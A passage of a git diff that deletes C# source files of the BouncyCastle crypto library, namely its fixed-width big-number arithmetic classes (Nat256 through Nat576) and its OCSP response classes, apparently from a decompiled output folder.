(long)y[5]; - z[5] = (uint)num; - num >>= 32; - num += (long)x[6] - (long)y[6]; - z[6] = (uint)num; - num >>= 32; - num += (long)x[7] - (long)y[7]; - z[7] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int Sub(uint[] x, int xOff, uint[] y, int yOff, uint[] z, int zOff) - { - long num = 0L; - num += (long)x[xOff] - (long)y[yOff]; - z[zOff] = (uint)num; - num >>= 32; - num += (long)x[xOff + 1] - (long)y[yOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += (long)x[xOff + 2] - (long)y[yOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += (long)x[xOff + 3] - (long)y[yOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - num += (long)x[xOff + 4] - (long)y[yOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - num += (long)x[xOff + 5] - (long)y[yOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - num += (long)x[xOff + 6] - (long)y[yOff + 6]; - z[zOff + 6] = (uint)num; - num >>= 32; - num += (long)x[xOff + 7] - (long)y[yOff + 7]; - z[zOff + 7] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubBothFrom(uint[] x, uint[] y, uint[] z) - { - long num = 0L; - num += (long)z[0] - (long)x[0] - y[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - (long)x[1] - y[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)z[2] - (long)x[2] - y[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - (long)x[3] - y[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)z[4] - (long)x[4] - y[4]; - z[4] = (uint)num; - num >>= 32; - num += (long)z[5] - (long)x[5] - y[5]; - z[5] = (uint)num; - num >>= 32; - num += (long)z[6] - (long)x[6] - y[6]; - z[6] = (uint)num; - num >>= 32; - num += (long)z[7] - (long)x[7] - y[7]; - z[7] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubFrom(uint[] x, uint[] z) - { - long num = 0L; - num += (long)z[0] - (long)x[0]; - z[0] = (uint)num; - num >>= 32; - num += (long)z[1] - (long)x[1]; - z[1] = (uint)num; - num >>= 32; - num += (long)z[2] - (long)x[2]; - z[2] = (uint)num; - num >>= 32; - num += (long)z[3] - (long)x[3]; - z[3] = (uint)num; - num >>= 32; - num += (long)z[4] - (long)x[4]; - z[4] = (uint)num; - num >>= 32; - num += (long)z[5] - (long)x[5]; - z[5] = (uint)num; - num >>= 32; - num += (long)z[6] - (long)x[6]; - z[6] = (uint)num; - num >>= 32; - num += (long)z[7] - (long)x[7]; - z[7] = (uint)num; - num >>= 32; - return (int)num; - } - - public static int SubFrom(uint[] x, int xOff, uint[] z, int zOff) - { - long num = 0L; - num += (long)z[zOff] - (long)x[xOff]; - z[zOff] = (uint)num; - num >>= 32; - num += (long)z[zOff + 1] - (long)x[xOff + 1]; - z[zOff + 1] = (uint)num; - num >>= 32; - num += (long)z[zOff + 2] - (long)x[xOff + 2]; - z[zOff + 2] = (uint)num; - num >>= 32; - num += (long)z[zOff + 3] - (long)x[xOff + 3]; - z[zOff + 3] = (uint)num; - num >>= 32; - num += (long)z[zOff + 4] - (long)x[xOff + 4]; - z[zOff + 4] = (uint)num; - num >>= 32; - num += (long)z[zOff + 5] - (long)x[xOff + 5]; - z[zOff + 5] = (uint)num; - num >>= 32; - num += (long)z[zOff + 6] - (long)x[xOff + 6]; - z[zOff + 6] = (uint)num; - num >>= 32; - num += (long)z[zOff + 7] - (long)x[xOff + 7]; - z[zOff + 7] = (uint)num; - num >>= 32; - return (int)num; - } - - public static BigInteger ToBigInteger(uint[] x) - { - byte[] array = new byte[32]; - for (int i = 0; i < 8; i++) - { - uint num = x[i]; - if (num != 0) - { - Pack.UInt32_To_BE(num, array, 7 - i << 2); - } - } - return new BigInteger(1, array); - } - - public static BigInteger ToBigInteger64(ulong[] x) - { - byte[] array = new byte[32]; - for (int i = 0; i < 4; i++) - { - ulong num = x[i]; - if (num != 0) - { - Pack.UInt64_To_BE(num, array, 3 - i << 3); - } - } - return new BigInteger(1, array); - } - - public static void Zero(uint[] z) - { - z[0] = 0u; - z[1] = 0u; - z[2] = 0u; - z[3] = 0u; - z[4] = 0u; - z[5] = 0u; - z[6] = 0u; - z[7] = 0u; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat320.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat320.cs deleted file mode 100644 index 0510244..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat320.cs +++ /dev/null @@ -1,105 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat320 -{ - public static void Copy64(ulong[] x, ulong[] z) - { - z[0] = x[0]; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - z[4] = x[4]; - } - - public static void Copy64(ulong[] x, int xOff, ulong[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - z[zOff + 2] = x[xOff + 2]; - z[zOff + 3] = x[xOff + 3]; - z[zOff + 4] = x[xOff + 4]; - } - - public static ulong[] Create64() - { - return new ulong[5]; - } - - public static ulong[] CreateExt64() - { - return new ulong[10]; - } - - public static bool Eq64(ulong[] x, ulong[] y) - { - for (int num = 4; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static ulong[] FromBigInteger64(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 320) - { - throw new ArgumentException(); - } - ulong[] array = Create64(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (ulong)x.LongValue; - x = x.ShiftRight(64); - } - return array; - } - - public static bool IsOne64(ulong[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 5; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero64(ulong[] x) - { - for (int i = 0; i < 5; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static BigInteger ToBigInteger64(ulong[] x) - { - byte[] array = new byte[40]; - for (int i = 0; i < 5; i++) - { - ulong num = x[i]; - if (num != 0) - { - Pack.UInt64_To_BE(num, array, 4 - i << 3); - } - } - return new BigInteger(1, array); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat384.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat384.cs deleted file mode 100644 index bd76bcd..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat384.cs +++ /dev/null @@ -1,35 +0,0 @@ -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat384 -{ - public static void Mul(uint[] x, uint[] y, uint[] zz) - { - Nat192.Mul(x, y, zz); - Nat192.Mul(x, 6, y, 6, zz, 12); - uint num = Nat192.AddToEachOther(zz, 6, zz, 12); - uint cIn = num + Nat192.AddTo(zz, 0, zz, 6, 0u); - num += Nat192.AddTo(zz, 18, zz, 12, cIn); - uint[] array = Nat192.Create(); - uint[] array2 = Nat192.Create(); - bool flag = Nat192.Diff(x, 6, x, 0, array, 0) != Nat192.Diff(y, 6, y, 0, array2, 0); - uint[] array3 = Nat192.CreateExt(); - Nat192.Mul(array, array2, array3); - num += (uint)(flag ? ((int)Nat.AddTo(12, array3, 0, zz, 6)) : Nat.SubFrom(12, array3, 0, zz, 6)); - Nat.AddWordAt(24, num, zz, 18); - } - - public static void Square(uint[] x, uint[] zz) - { - Nat192.Square(x, zz); - Nat192.Square(x, 6, zz, 12); - uint num = Nat192.AddToEachOther(zz, 6, zz, 12); - uint cIn = num + Nat192.AddTo(zz, 0, zz, 6, 0u); - num += Nat192.AddTo(zz, 18, zz, 12, cIn); - uint[] array = Nat192.Create(); - Nat192.Diff(x, 6, x, 0, array, 0); - uint[] array2 = Nat192.CreateExt(); - Nat192.Square(array, array2); - num += (uint)Nat.SubFrom(12, array2, 0, zz, 6); - Nat.AddWordAt(24, num, zz, 18); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat448.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat448.cs deleted file mode 100644 index 9dce17a..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat448.cs +++ /dev/null @@ -1,109 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat448 -{ - public static void Copy64(ulong[] x, ulong[] z) - { - z[0] = x[0]; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - z[4] = x[4]; - z[5] = x[5]; - z[6] = x[6]; - } - - public static void Copy64(ulong[] x, int xOff, ulong[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - z[zOff + 2] = x[xOff + 2]; - z[zOff + 3] = x[xOff + 3]; - z[zOff + 4] = x[xOff + 4]; - z[zOff + 5] = x[xOff + 5]; - z[zOff + 6] = x[xOff + 6]; - } - - public static ulong[] Create64() - { - return new ulong[7]; - } - - public static ulong[] CreateExt64() - { - return new ulong[14]; - } - - public static bool Eq64(ulong[] x, ulong[] y) - { - for (int num = 6; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static ulong[] FromBigInteger64(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 448) - { - throw new ArgumentException(); - } - ulong[] array = Create64(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (ulong)x.LongValue; - x = x.ShiftRight(64); - } - return array; - } - - public static bool IsOne64(ulong[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 7; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero64(ulong[] x) - { - for (int i = 0; i < 7; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static BigInteger ToBigInteger64(ulong[] x) - { - byte[] array = new byte[56]; - for (int i = 0; i < 7; i++) - { - ulong num = x[i]; - if (num != 0) - { - Pack.UInt64_To_BE(num, array, 6 - i << 3); - } - } - return new BigInteger(1, array); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat512.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat512.cs deleted file mode 100644 index 4184e8b..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat512.cs +++ /dev/null @@ -1,35 +0,0 @@ -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat512 -{ - public static void Mul(uint[] x, uint[] y, uint[] zz) - { - Nat256.Mul(x, y, zz); - Nat256.Mul(x, 8, y, 8, zz, 16); - uint num = Nat256.AddToEachOther(zz, 8, zz, 16); - uint cIn = num + Nat256.AddTo(zz, 0, zz, 8, 0u); - num += Nat256.AddTo(zz, 24, zz, 16, cIn); - uint[] array = Nat256.Create(); - uint[] array2 = Nat256.Create(); - bool flag = Nat256.Diff(x, 8, x, 0, array, 0) != Nat256.Diff(y, 8, y, 0, array2, 0); - uint[] array3 = Nat256.CreateExt(); - Nat256.Mul(array, array2, array3); - num += (uint)(flag ? ((int)Nat.AddTo(16, array3, 0, zz, 8)) : Nat.SubFrom(16, array3, 0, zz, 8)); - Nat.AddWordAt(32, num, zz, 24); - } - - public static void Square(uint[] x, uint[] zz) - { - Nat256.Square(x, zz); - Nat256.Square(x, 8, zz, 16); - uint num = Nat256.AddToEachOther(zz, 8, zz, 16); - uint cIn = num + Nat256.AddTo(zz, 0, zz, 8, 0u); - num += Nat256.AddTo(zz, 24, zz, 16, cIn); - uint[] array = Nat256.Create(); - Nat256.Diff(x, 8, x, 0, array, 0); - uint[] array2 = Nat256.CreateExt(); - Nat256.Square(array, array2); - num += (uint)Nat.SubFrom(16, array2, 0, zz, 8); - Nat.AddWordAt(32, num, zz, 24); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat576.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat576.cs deleted file mode 100644 index 09dab70..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Math/Raw/Nat576.cs +++ /dev/null @@ -1,113 +0,0 @@ -using System; -using Org.BouncyCastle.Crypto.Utilities; - -namespace Org.BouncyCastle.Math.Raw; - -internal abstract class Nat576 -{ - public static void Copy64(ulong[] x, ulong[] z) - { - z[0] = x[0]; - z[1] = x[1]; - z[2] = x[2]; - z[3] = x[3]; - z[4] = x[4]; - z[5] = x[5]; - z[6] = x[6]; - z[7] = x[7]; - z[8] = x[8]; - } - - public static void Copy64(ulong[] x, int xOff, ulong[] z, int zOff) - { - z[zOff] = x[xOff]; - z[zOff + 1] = x[xOff + 1]; - z[zOff + 2] = x[xOff + 2]; - z[zOff + 3] = x[xOff + 3]; - z[zOff + 4] = x[xOff + 4]; - z[zOff + 5] = x[xOff + 5]; - z[zOff + 6] = x[xOff + 6]; - z[zOff + 7] = x[xOff + 7]; - z[zOff + 8] = x[xOff + 8]; - } - - public static ulong[] Create64() - { - return new ulong[9]; - } - - public static ulong[] CreateExt64() - { - return new ulong[18]; - } - - public static bool Eq64(ulong[] x, ulong[] y) - { - for (int num = 8; num >= 0; num--) - { - if (x[num] != y[num]) - { - return false; - } - } - return true; - } - - public static ulong[] FromBigInteger64(BigInteger x) - { - if (x.SignValue < 0 || x.BitLength > 576) - { - throw new ArgumentException(); - } - ulong[] array = Create64(); - int num = 0; - while (x.SignValue != 0) - { - array[num++] = (ulong)x.LongValue; - x = x.ShiftRight(64); - } - return array; - } - - public static bool IsOne64(ulong[] x) - { - if (x[0] != 1) - { - return false; - } - for (int i = 1; i < 9; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static bool IsZero64(ulong[] x) - { - for (int i = 0; i < 9; i++) - { - if (x[i] != 0) - { - return false; - } - } - return true; - } - - public static BigInteger ToBigInteger64(ulong[] x) - { - byte[] array = new byte[72]; - for (int i = 0; i < 9; i++) - { - ulong num = x[i]; - if (num != 0) - { - Pack.UInt64_To_BE(num, array, 8 - i << 3); - } - } - return new BigInteger(1, array); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/BasicOcspResp.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/BasicOcspResp.cs deleted file mode 100644 index f08386c..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/BasicOcspResp.cs +++ /dev/null @@ -1,168 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; -using Org.BouncyCastle.X509.Store; - -namespace Org.BouncyCastle.Ocsp; - -public class BasicOcspResp : X509ExtensionBase -{ - private readonly BasicOcspResponse resp; - - private readonly ResponseData data; - - public int Version => data.Version.Value.IntValue + 1; - - public RespID ResponderId => new RespID(data.ResponderID); - - public DateTime ProducedAt => data.ProducedAt.ToDateTime(); - - public SingleResp[] Responses - { - get - { - Asn1Sequence responses = data.Responses; - SingleResp[] array = new SingleResp[responses.Count]; - for (int i = 0; i != array.Length; i++) - { - array[i] = new SingleResp(SingleResponse.GetInstance(responses[i])); - } - return array; - } - } - - public X509Extensions ResponseExtensions => data.ResponseExtensions; - - public string SignatureAlgName => OcspUtilities.GetAlgorithmName(resp.SignatureAlgorithm.Algorithm); - - public string SignatureAlgOid => resp.SignatureAlgorithm.Algorithm.Id; - - public BasicOcspResp(BasicOcspResponse resp) - { - this.resp = resp; - data = resp.TbsResponseData; - } - - public byte[] GetTbsResponseData() - { - try - { - return data.GetDerEncoded(); - } - catch (IOException e) - { - throw new OcspException("problem encoding tbsResponseData", e); - } - } - - protected override X509Extensions GetX509Extensions() - { - return ResponseExtensions; - } - - [Obsolete("RespData class is no longer required as all functionality is available on this class")] - public RespData GetResponseData() - { - return new RespData(data); - } - - public byte[] GetSignature() - { - return resp.GetSignatureOctets(); - } - - private IList GetCertList() - { - IList list = Platform.CreateArrayList(); - Asn1Sequence certs = resp.Certs; - if (certs != null) - { - foreach (Asn1Encodable item in certs) - { - try - { - list.Add(new X509CertificateParser().ReadCertificate(item.GetEncoded())); - } - catch (IOException e) - { - throw new OcspException("can't re-encode certificate!", e); - } - catch (CertificateException e2) - { - throw new OcspException("can't re-encode certificate!", e2); - } - } - } - return list; - } - - public X509Certificate[] GetCerts() - { - IList certList = GetCertList(); - X509Certificate[] array = new X509Certificate[certList.Count]; - for (int i = 0; i < certList.Count; i++) - { - array[i] = (X509Certificate)certList[i]; - } - return array; - } - - public IX509Store GetCertificates(string type) - { - try - { - return X509StoreFactory.Create("Certificate/" + type, new X509CollectionStoreParameters(GetCertList())); - } - catch (Exception e) - { - throw new OcspException("can't setup the CertStore", e); - } - } - - public bool Verify(AsymmetricKeyParameter publicKey) - { - try - { - ISigner signer = SignerUtilities.GetSigner(SignatureAlgName); - signer.Init(forSigning: false, publicKey); - byte[] derEncoded = data.GetDerEncoded(); - signer.BlockUpdate(derEncoded, 0, derEncoded.Length); - return signer.VerifySignature(GetSignature()); - } - catch (Exception ex) - { - throw new OcspException("exception processing sig: " + ex, ex); - } - } - - public byte[] GetEncoded() - { - return resp.GetEncoded(); - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is BasicOcspResp basicOcspResp)) - { - return false; - } - return resp.Equals(basicOcspResp.resp); - } - - public override int GetHashCode() - { - return resp.GetHashCode(); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/BasicOcspRespGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/BasicOcspRespGenerator.cs deleted file mode 100644 index 67a3ce3..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/BasicOcspRespGenerator.cs +++ /dev/null @@ -1,188 +0,0 @@ -using System; -using System.Collections; -using System.IO; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Crypto.Operators; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.Security.Certificates; -using Org.BouncyCastle.Utilities; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Ocsp; - -public class BasicOcspRespGenerator -{ - private class ResponseObject - { - internal CertificateID certId; - - internal CertStatus certStatus; - - internal DerGeneralizedTime thisUpdate; - - internal DerGeneralizedTime nextUpdate; - - internal X509Extensions extensions; - - public ResponseObject(CertificateID certId, CertificateStatus certStatus, DateTime thisUpdate, X509Extensions extensions) - : this(certId, certStatus, new DerGeneralizedTime(thisUpdate), null, extensions) - { - } - - public ResponseObject(CertificateID certId, CertificateStatus certStatus, DateTime thisUpdate, DateTime nextUpdate, X509Extensions extensions) - : this(certId, certStatus, new DerGeneralizedTime(thisUpdate), new DerGeneralizedTime(nextUpdate), extensions) - { - } - - private ResponseObject(CertificateID certId, CertificateStatus certStatus, DerGeneralizedTime thisUpdate, DerGeneralizedTime nextUpdate, X509Extensions extensions) - { - this.certId = certId; - if (certStatus == null) - { - this.certStatus = new CertStatus(); - } - else if (certStatus is UnknownStatus) - { - this.certStatus = new CertStatus(2, DerNull.Instance); - } - else - { - RevokedStatus revokedStatus = (RevokedStatus)certStatus; - CrlReason revocationReason = (revokedStatus.HasRevocationReason ? new CrlReason(revokedStatus.RevocationReason) : null); - this.certStatus = new CertStatus(new RevokedInfo(new DerGeneralizedTime(revokedStatus.RevocationTime), revocationReason)); - } - this.thisUpdate = thisUpdate; - this.nextUpdate = nextUpdate; - this.extensions = extensions; - } - - public SingleResponse ToResponse() - { - return new SingleResponse(certId.ToAsn1Object(), certStatus, thisUpdate, nextUpdate, extensions); - } - } - - private readonly IList list = Platform.CreateArrayList(); - - private X509Extensions responseExtensions; - - private RespID responderID; - - public IEnumerable SignatureAlgNames => OcspUtilities.AlgNames; - - public BasicOcspRespGenerator(RespID responderID) - { - this.responderID = responderID; - } - - public BasicOcspRespGenerator(AsymmetricKeyParameter publicKey) - { - responderID = new RespID(publicKey); - } - - public void AddResponse(CertificateID certID, CertificateStatus certStatus) - { - list.Add(new ResponseObject(certID, certStatus, DateTime.UtcNow, null)); - } - - public void AddResponse(CertificateID certID, CertificateStatus certStatus, X509Extensions singleExtensions) - { - list.Add(new ResponseObject(certID, certStatus, DateTime.UtcNow, singleExtensions)); - } - - public void AddResponse(CertificateID certID, CertificateStatus certStatus, DateTime nextUpdate, X509Extensions singleExtensions) - { - list.Add(new ResponseObject(certID, certStatus, DateTime.UtcNow, nextUpdate, singleExtensions)); - } - - public void AddResponse(CertificateID certID, CertificateStatus certStatus, DateTime thisUpdate, DateTime nextUpdate, X509Extensions singleExtensions) - { - list.Add(new ResponseObject(certID, certStatus, thisUpdate, nextUpdate, singleExtensions)); - } - - public void SetResponseExtensions(X509Extensions responseExtensions) - { - this.responseExtensions = responseExtensions; - } - - private BasicOcspResp GenerateResponse(ISignatureFactory signatureCalculator, X509Certificate[] chain, DateTime producedAt) - { - AlgorithmIdentifier algorithmIdentifier = (AlgorithmIdentifier)signatureCalculator.AlgorithmDetails; - DerObjectIdentifier algorithm = algorithmIdentifier.Algorithm; - Asn1EncodableVector asn1EncodableVector = new Asn1EncodableVector(); - foreach (ResponseObject item in list) - { - try - { - asn1EncodableVector.Add(item.ToResponse()); - } - catch (Exception e) - { - throw new OcspException("exception creating Request", e); - } - } - ResponseData responseData = new ResponseData(responderID.ToAsn1Object(), new DerGeneralizedTime(producedAt), new DerSequence(asn1EncodableVector), responseExtensions); - DerBitString derBitString = null; - try - { - IStreamCalculator streamCalculator = signatureCalculator.CreateCalculator(); - byte[] derEncoded = responseData.GetDerEncoded(); - streamCalculator.Stream.Write(derEncoded, 0, derEncoded.Length); - Platform.Dispose(streamCalculator.Stream); - derBitString = new DerBitString(((IBlockResult)streamCalculator.GetResult()).Collect()); - } - catch (Exception ex) - { - throw new OcspException("exception processing TBSRequest: " + ex, ex); - } - AlgorithmIdentifier sigAlgID = OcspUtilities.GetSigAlgID(algorithm); - DerSequence certs = null; - if (chain != null && chain.Length > 0) - { - Asn1EncodableVector asn1EncodableVector2 = new Asn1EncodableVector(); - try - { - for (int i = 0; i != chain.Length; i++) - { - asn1EncodableVector2.Add(X509CertificateStructure.GetInstance(Asn1Object.FromByteArray(chain[i].GetEncoded()))); - } - } - catch (IOException e2) - { - throw new OcspException("error processing certs", e2); - } - catch (CertificateEncodingException e3) - { - throw new OcspException("error encoding certs", e3); - } - certs = new DerSequence(asn1EncodableVector2); - } - return new BasicOcspResp(new BasicOcspResponse(responseData, sigAlgID, derBitString, certs)); - } - - public BasicOcspResp Generate(string signingAlgorithm, AsymmetricKeyParameter privateKey, X509Certificate[] chain, DateTime thisUpdate) - { - return Generate(signingAlgorithm, privateKey, chain, thisUpdate, null); - } - - public BasicOcspResp Generate(string signingAlgorithm, AsymmetricKeyParameter privateKey, X509Certificate[] chain, DateTime producedAt, SecureRandom random) - { - if (signingAlgorithm == null) - { - throw new ArgumentException("no signing algorithm specified"); - } - return GenerateResponse(new Asn1SignatureFactory(signingAlgorithm, privateKey, random), chain, producedAt); - } - - public BasicOcspResp Generate(ISignatureFactory signatureCalculatorFactory, X509Certificate[] chain, DateTime producedAt) - { - if (signatureCalculatorFactory == null) - { - throw new ArgumentException("no signature calculator specified"); - } - return GenerateResponse(signatureCalculatorFactory, chain, producedAt); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/CertificateID.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/CertificateID.cs deleted file mode 100644 index 2f34f60..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/CertificateID.cs +++ /dev/null @@ -1,97 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Ocsp; -using Org.BouncyCastle.Asn1.X509; -using Org.BouncyCastle.Crypto; -using Org.BouncyCastle.Math; -using Org.BouncyCastle.Security; -using Org.BouncyCastle.X509; - -namespace Org.BouncyCastle.Ocsp; - -public class CertificateID -{ - public const string HashSha1 = "1.3.14.3.2.26"; - - private readonly CertID id; - - public string HashAlgOid => id.HashAlgorithm.Algorithm.Id; - - public BigInteger SerialNumber => id.SerialNumber.Value; - - public CertificateID(CertID id) - { - if (id == null) - { - throw new ArgumentNullException("id"); - } - this.id = id; - } - - public CertificateID(string hashAlgorithm, X509Certificate issuerCert, BigInteger serialNumber) - { - AlgorithmIdentifier hashAlg = new AlgorithmIdentifier(new DerObjectIdentifier(hashAlgorithm), DerNull.Instance); - id = CreateCertID(hashAlg, issuerCert, new DerInteger(serialNumber)); - } - - public byte[] GetIssuerNameHash() - { - return id.IssuerNameHash.GetOctets(); - } - - public byte[] GetIssuerKeyHash() - { - return id.IssuerKeyHash.GetOctets(); - } - - public bool MatchesIssuer(X509Certificate issuerCert) - { - return CreateCertID(id.HashAlgorithm, issuerCert, id.SerialNumber).Equals(id); - } - - public CertID ToAsn1Object() - { - return id; - } - - public override bool Equals(object obj) - { - if (obj == this) - { - return true; - } - if (!(obj is CertificateID certificateID)) - { - return false; - } - return id.ToAsn1Object().Equals(certificateID.id.ToAsn1Object()); - } - - public override int GetHashCode() - { - return id.ToAsn1Object().GetHashCode(); - } - - public static CertificateID DeriveCertificateID(CertificateID original, BigInteger newSerialNumber) - { - return new CertificateID(new CertID(original.id.HashAlgorithm, original.id.IssuerNameHash, original.id.IssuerKeyHash, new DerInteger(newSerialNumber))); - } - - private static CertID CreateCertID(AlgorithmIdentifier hashAlg, X509Certificate issuerCert, DerInteger serialNumber) - { - try - { - string algorithm = hashAlg.Algorithm.Id; - X509Name subjectX509Principal = PrincipalUtilities.GetSubjectX509Principal(issuerCert); - byte[] str = DigestUtilities.CalculateDigest(algorithm, subjectX509Principal.GetEncoded()); - AsymmetricKeyParameter publicKey = issuerCert.GetPublicKey(); - SubjectPublicKeyInfo subjectPublicKeyInfo = SubjectPublicKeyInfoFactory.CreateSubjectPublicKeyInfo(publicKey); - byte[] str2 = DigestUtilities.CalculateDigest(algorithm, subjectPublicKeyInfo.PublicKeyData.GetBytes()); - return new CertID(hashAlg, new DerOctetString(str), new DerOctetString(str2), serialNumber); - } - catch (Exception ex) - { - throw new OcspException("problem creating ID: " + ex, ex); - } - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/CertificateStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/CertificateStatus.cs deleted file mode 100644 index 941852e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/CertificateStatus.cs +++ /dev/null @@ -1,6 +0,0 @@ -namespace Org.BouncyCastle.Ocsp; - -public abstract class CertificateStatus -{ - public static readonly CertificateStatus Good = null; -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OCSPRespGenerator.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OCSPRespGenerator.cs deleted file mode 100644 index b5506cf..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OCSPRespGenerator.cs +++ /dev/null @@ -1,44 +0,0 @@ -using System; -using Org.BouncyCastle.Asn1; -using Org.BouncyCastle.Asn1.Ocsp; - -namespace Org.BouncyCastle.Ocsp; - -public class OCSPRespGenerator -{ - public const int Successful = 0; - - public const int MalformedRequest = 1; - - public const int InternalError = 2; - - public const int TryLater = 3; - - public const int SigRequired = 5; - - public const int Unauthorized = 6; - - public OcspResp Generate(int status, object response) - { - if (response == null) - { - return new OcspResp(new OcspResponse(new OcspResponseStatus(status), null)); - } - if (response is BasicOcspResp) - { - BasicOcspResp basicOcspResp = (BasicOcspResp)response; - Asn1OctetString response2; - try - { - response2 = new DerOctetString(basicOcspResp.GetEncoded()); - } - catch (Exception e) - { - throw new OcspException("can't encode object.", e); - } - ResponseBytes responseBytes = new ResponseBytes(OcspObjectIdentifiers.PkixOcspBasic, response2); - return new OcspResp(new OcspResponse(new OcspResponseStatus(status), responseBytes)); - } - throw new OcspException("unknown response object"); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcscpRespStatus.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcscpRespStatus.cs deleted file mode 100644 index cdb1a87..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcscpRespStatus.cs +++ /dev/null @@ -1,8 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Ocsp; - -[Obsolete("Use version with correct spelling 'OcspRespStatus'")] -public abstract class OcscpRespStatus : OcspRespStatus -{ -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspException.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspException.cs deleted file mode 100644 index 3b69bb1..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Ocsp/OcspException.cs +++ 